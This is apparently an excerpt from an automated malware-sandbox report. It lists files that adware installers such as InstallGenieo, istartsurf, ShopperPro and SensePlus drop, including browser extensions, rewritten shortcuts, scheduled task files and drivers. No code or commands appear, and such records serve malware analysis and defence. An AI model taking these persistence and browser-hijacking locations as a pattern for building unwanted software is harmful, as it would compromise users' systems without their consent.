C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.3 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.1 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.0 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.3 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.2 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.5 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.4 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.7 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.6 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.1 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.6 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe (70607 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.7 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.4 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.5 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.0 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe (49444 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (71289 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF0A.tmp.1 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF0A.tmp.0 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF0A.tmp.3 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF0A.tmp.2 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF0A.tmp.5 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF0A.tmp.4 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF0A.tmp.7 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF0A.tmp.6 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.2 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.3 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.0 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.1 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.6 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.7 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.4 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.5 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\ajax-bidl[1].htm (550 bytes)

The process firsttime_setup.exe:3740 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoAEF5.tmp (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\uninstall\firsttime_uninstall.exe (1568 bytes)

The process ins_yta.exe:3400 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLBCFAD.tmp (144 bytes)

The process QQBrowser.exe:3004 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\243.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\js.js (664 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\474.json (512 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\213.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\QQBrowserFrame.dll (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\scrollbar.bmp (37 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\modules\remoterequest.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\Z (42 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\263.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\index.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (478 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\quick_start.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\1F3.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\HomePage.dat (132 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\modules\aes.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\skin\newtab.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe (14022 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\z[1].htm (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\istartsurf.xml (553 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\defaults\preferences\preferences.js (379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\vi\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\include\tools\misc.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\skin\style.css (784 bytes)

The process QQBrowser.exe:1592 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\ClearnC.exe (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\wpm_v20.0.0.2227.exe (676 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\Z (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\474.db (290 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\z[1].htm (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\XTab_Setup(2409).exe (148 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\HomePage.dat (132 bytes)

The process testlsp.exe:3460 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3460_testlsp.log (125095 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_3460_testlsp.log (1438 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_3460_testlsp.log (150 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_3460.log (1345 bytes)

The process powershell.exe:3892 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EJ9J29NOWNXRXLW1D1HN.temp (196 bytes)

The process powershell.exe:3656 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VE4FDKG1GDE6H00GY5TQ.temp (196 bytes)

The process powershell.exe:3180 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\INIK13FXHR9M4QI9ZSCX.temp (196 bytes)

The process setup.exe:3260 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd21.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd21.tmp\nsProcess.dll (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd21.tmp\nsExec.dll (14 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd21.tmp\jsdrv.exe (100669 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd21.tmp\AccDownload.dll (11659 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (37025 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (15536 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (48241 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd21.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn10.tmp (358834 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (18424 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.ej (14 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)

The process BF0A.tmp:2252 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7993.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7993.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7993.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7993.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\mj (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7993.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7993.tmp\WmiInspector.dll (3137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7993.tmp\NSISEncrypt.dll (3323 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7993.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7993.tmp\UserInfo.dll (8 bytes)

The process Bientrmqu.exe:3948 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\SensePlus\9fdb4d8e-217e-49e0-bad3-9a6b945e3f76-4.exe (9654 bytes)
%Program Files% (x86)\SensePlus\9fdb4d8e-217e-49e0-bad3-9a6b945e3f76-5.exe (7971 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\ssrlncfjy.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\284450 (3429 bytes)
C:\Windows\Tasks\9fdb4d8e-217e-49e0-bad3-9a6b945e3f76-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\wdyvlmgk.dll (8 bytes)
%Program Files% (x86)\SensePlus\utils.exe (70317 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\eerrav.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\ffkzn.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\System.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\9fdb4d8e-217e-49e0-bad3-9a6b945e3f76-4.dll (46916 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\eodefhbq.dll (23 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3948_Bientrmqu.log (14155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\xehbx.dll (3730 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\hmnlq.dll (31245 bytes)
%Program Files% (x86)\SensePlus\Uninstall.exe (601 bytes)
C:\Windows\Tasks\9fdb4d8e-217e-49e0-bad3-9a6b945e3f76-5_user.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\zejghs.dll (30 bytes)
%Program Files% (x86)\SensePlus\9fdb4d8e-217e-49e0-bad3-9a6b945e3f76.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\74763 (97678 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3228.tmp (556977 bytes)

The process cmdshell.exe:3660 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\HPNotify.exe (675 bytes)

The process ShopperPro.exe:3760 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\config.json (487 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1254 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (291 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.1.1835\config.json (767 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (487 bytes)
